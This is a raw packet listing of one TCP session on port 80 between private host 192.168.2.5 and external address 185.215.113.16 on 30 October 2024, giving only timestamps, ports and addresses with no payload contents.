Oct 30, 2024 21:55:27.943003893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943003893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943006992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943020105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943038940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943056107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943058968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943058968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943068027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943089962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943099022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943104982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943118095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943135977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943135977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943149090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943151951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943175077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943186998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943196058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943206072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943214893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943232059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943244934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943248987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943258047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943269968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943296909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943330050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943330050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.943377972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.943612099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.944076061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944087982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944106102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944117069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944128990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944139957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944152117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944155931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.944155931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.944165945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944178104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944189072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944200993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.944201946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944200993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.944214106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.944242954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.944242954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973342896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973390102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973402023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973439932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973443985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973460913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973472118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973506927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973602057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973612070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973622084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973632097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973650932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973654032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973666906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973675966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973679066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973694086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973705053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973716974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973728895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973731995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973740101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973745108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973745108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973754883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973778009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973783016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973793983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973804951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973812103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973815918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973836899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973855019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973860979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973865986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973869085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973881006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973881960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973893881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973903894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973913908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973925114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973937035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973937035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973937035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973948956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.973963976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.973994017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.974014997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974030972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974040985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974050045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974061966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974071980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.974071980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974085093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974095106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.974096060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.974118948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.975913048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.015192986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015213013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015224934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015245914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015259027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015274048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.015338898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.015490055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015511990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015525103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.015558958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.015582085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.056665897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056828022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056842089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056883097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056886911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.056901932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056915045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056926966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056936979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.056938887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.056958914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.056992054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.057027102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057039976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057056904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057069063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057080030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057090044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057094097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.057094097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.057101965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057111979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057125092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057135105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.057136059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057148933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.057180882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.057180882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.058809996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058821917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058832884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058861971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058872938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058878899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.058883905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058921099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.058952093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058962107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058979034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.058990002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059007883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059020042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059020996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059032917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059099913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059237957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059274912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059330940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059340000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059370995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059384108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059809923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059829950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059839964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059870005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059897900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059912920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059917927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059925079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059936047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059947968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.059978962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.059978962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060019970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060030937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060040951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060051918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060060024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060070038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060075045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060075045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060081959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060092926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060098886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060105085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060116053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060127974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060138941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060137987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060137987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060168982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060516119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060527086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060537100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060550928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060560942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060571909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060575962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060583115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060600996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060612917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060617924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060617924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060625076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060640097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060651064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060653925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060661077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060674906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060702085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060738087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060772896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060784101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060795069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060800076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060822964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060847998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060859919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060872078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060882092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.060908079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060916901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.060986996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061000109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061011076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061022043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061038017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061048985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061050892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061084032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061084032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061110020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061173916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061184883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061239958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061244965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061256886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061276913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061285973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061288118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061300993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061326027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061351061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061386108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061397076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061408997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061419964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061431885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061456919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061456919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061480045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061491966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061502934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061511993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061522007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061532974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061537981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061537981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061544895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061563015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061589003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061619997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061631918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061641932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061652899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061660051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061661959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061680079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061691999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061701059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061702967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061712980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061721087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061732054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061733961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061752081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061760902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061760902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061764002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061777115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061789036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061800003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061806917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061806917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061810970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061824083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.061865091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.061865091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.062118053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.062159061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062171936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062180996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062191963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062203884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062216997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062217951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.062228918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062231064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.062242031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.062279940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.062279940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.062714100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091181040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091233969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091242075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091279984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091289997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091310024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091346979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091445923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091455936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091464996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091514111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091514111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091531038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091542959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091552973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091562986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091573954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091594934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091594934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091794014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091804981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091830969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091841936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091852903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091866970 CET	49712	80	192.168.2.5	185.215.113.16
